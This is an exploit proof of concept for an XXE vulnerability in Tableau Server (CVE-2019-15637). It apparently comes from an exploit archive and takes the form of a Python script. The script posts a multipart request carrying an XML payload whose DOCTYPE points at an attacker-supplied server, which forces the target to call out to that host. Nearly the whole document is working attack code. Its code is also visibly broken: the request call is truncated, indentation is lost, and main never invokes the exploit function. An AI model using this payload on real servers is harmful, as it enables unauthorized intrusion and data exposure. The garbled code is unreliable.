# Exploit Title: Tableau XXE   
# Google Dork: N/A  
# Date: Reported to vendor July 2019, fix released August 2019.  
# Exploit Author: Jarad Kopf  
# Vendor Homepage:  
# Software Link: Tableau Desktop downloads:  
# Version/Products: See Tableau Advisory:  
# Tested on: Windows  
# CVE: CVE-2019-15637  
#This comes from  
#Severity: High ====== CVSS3 Score: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:L - 7.1 High ====== Product Specific Notes: Malicious workbooks, data sources, and extensions files that are published or used on Tableau Server can trigger this vulnerability  
#see also  
#Unfortunately as I did not have access to the source code a lot of this couldn't really be coded.   
#Lot of this seems to be user specific (zoneid, dashboard etc). Virtually just taking the vulnerable request and running the exploit.   
#Very bare bones...wish I could've done more, but maybe someone else with access to the source would want to do that as an exercise.  
import requests  
import sys   
from warnings import filterwarnings  
# Globals  
proxy = ''  
proxies = {'http':proxy, 'https':proxy}  
def xxe(target, attackerserver, boundary, cookie, zoneid, dashboard):  
payload = """<?xml version="1.0" encoding="UTF-8" standalone="no"?><!DOCTYPE root PUBLIC "-//A/B/EN" """  
payload += "\""+attackerserver+"\"><svg xmlns:svg=\"\" xmlns=\"\" xmlns:xlink=\"\" width=\"200\" height=\"200\"><text x=\"0\" y=\"20\" font-size=\"20\">test</text></svg>"  
headers = {'Content-Type': 'multipart/form-data; boundary='+boundary, 'Cookie': 'workgroup_session_id='+cookie}  
data = "--"+boundary+"\r\n"  
data += """Content-Disposition: form-data; name=\"zoneId\""""+"\r\n"  
data += "\r\n"  
#below will be different for each user - this is the zoneid of the dashboard you're exploiting this against  
data += zoneid+ "\r\n"  
data += "--"+boundary+"\r\n"  
data += """Content-Disposition: form-data; name=\"dashboard\""""+"\r\n"  
data += "\r\n"  
#below will be different for each user - the name of the dashboard we have access to which we're exploiting this against  
data += dashboard + "\r\n"  
data += "--"+boundary+"\r\n"  
data += """Content-Disposition: form-data; name=\"wasCanceled\""""+"\r\n"  
data += "\r\n"  
data += "false"  
data += "\r\n"  
data += "--"+boundary+"\r\n"  
data += """Content-Disposition: form-data; name=\"extensionManifestContents\""""+"\r\n"  
data += "\r\n"  
data += payload  
data += "\r\n"  
data += "--"+boundary+"--"  
r =, headers=headers, data=data, proxies=proxies, verify=False)  
def main():  
if len(sys.argv) != 7:  
print "(+) usage: %s <target><attackerserver><boundary><workgroup_session_id_cookie><zoneid><dashboardname>" % sys.argv[0]  
target = sys.argv[1]   
attackerserver = sys.argv[2]  
boundary = sys.argv[3]  
cookie = sys.argv[4]  
zoneid = sys.argv[5]  
dashboard = sys.argv[6]  
print "making request, make sure to catch the HTTP request!"  
if __name__ == "__main__":